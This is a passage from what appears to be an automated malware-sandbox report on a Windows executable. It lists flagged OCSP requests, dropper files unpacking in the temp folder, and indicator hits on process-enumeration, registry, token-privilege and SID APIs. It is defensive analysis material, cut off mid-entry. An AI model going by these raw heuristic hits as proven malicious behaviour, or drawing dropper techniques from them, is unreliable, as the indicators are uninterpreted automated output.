/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "IWZzHshBOCggCEwdzEkpLy9ROx7U76vGU" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmb" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v%2BfUXog HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3z" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v%2BfUXog HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqH" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqHI%2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9IczAHhWLS%2Bq9lVQgHXLgICEATz2IlpoaRYSkOX%2F3I1N1E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m03.amazontrust.com" Contains base62 string in header "2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqHI%2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9IczAHhWLS%2Bq9lVQgHXLgICEATz2IlpoaRYSkOX%2F3I1N1E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m03.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvz" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffH" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"5b:T4a3,"a56da099e59801bac606963e44684336.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00000480) "a56da099e59801bac606963e44684336.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000480) "a56da099e59801bac606963e44684336.exe" called "FindNextFileW" with parameter 7pm0Cc79.exe (UID: 00000000-00000480) "a56da099e59801bac606963e44684336.exe" called "FindNextFileW" with parameter Qv9nk40.exe (UID: 00000000-00000480) "Qv9nk40.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00000296) "Qv9nk40.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000296) "Qv9nk40.exe" called "FindNextFileW" with parameter 6RL4Tz0.exe (UID: 00000000-00000296) "Qv9nk40.exe" called "FindNextFileW" with parameter cw8sM05.exe (UID: 00000000-00000296) "cw8sM05.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00002596) "cw8sM05.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002596) "cw8sM05.exe" called "FindNextFileW" with parameter 1va32uO2.exe (UID: 00000000-00002596) "cw8sM05.exe" called "FindNextFileW" with parameter 4Du834Zv.exe (UID: 00000000-00002596)5c:T4be,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "a56da099e59801bac606963e44684336") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "a56da099e59801bac606963e44684336") Found reference to API "575982998,3516,3114,,FindNextFileW,kernel32.dll,"252:02:48.052",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "121130930919,3516,3114,,FindNextFileW,kernel32.dll,"252:03:38.284",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")5d:T758,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "a56da099e59801bac606963e44684336") Found reference to API "3Process32FirstW" (Indicator: "Process32First"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "6RL4Tz0.exe.3528355195") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "6RL4Tz0.exe.3528355195") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")5e:T48a,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "a56da099e59801bac606963e44684336") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "a56da099e59801bac606963e44684336") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "a56da099e59801bac606963e44684336") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")5f:T4d9,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "a56da099e59801bac606963e44684336") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "a56da099e59801bac606963e44684336") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")60:Tce6,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")61:T5ac,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "a56da099e59801bac606963e44684336") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "a56da099e59801bac606963e44684336") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "6RL4Tz0.exe.3528355195") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "6RL4Tz0.exe.3528355195") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")62:T1161,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.76514.00800000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.76514.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.76514.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.76514.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.76514.00800000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.76514.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\Qv9nk40.exe" (Indicator: "\Device\"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found string "indows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\a56da099e59801bac606963e44684336.exe" (Indicator: "\Device\"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp")63:T70f,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "a56da099e59801bac606963e44684336") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "a56da099e59801bac606963e44684336") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "a56da099e59801bac606963e44684336") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "a56da099e59801bac606963e44684336") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "a56da099e59801bac606963e44684336") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00000296.00000003.76186.013A1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000296.00000003.76186.013A1000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")64:T7be,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "a56da099e59801bac606963e44684336") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "a56da099e59801bac606963e44684336") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "a56da099e59801bac606963e44684336") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "a56da099e59801bac606963e44684336") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: 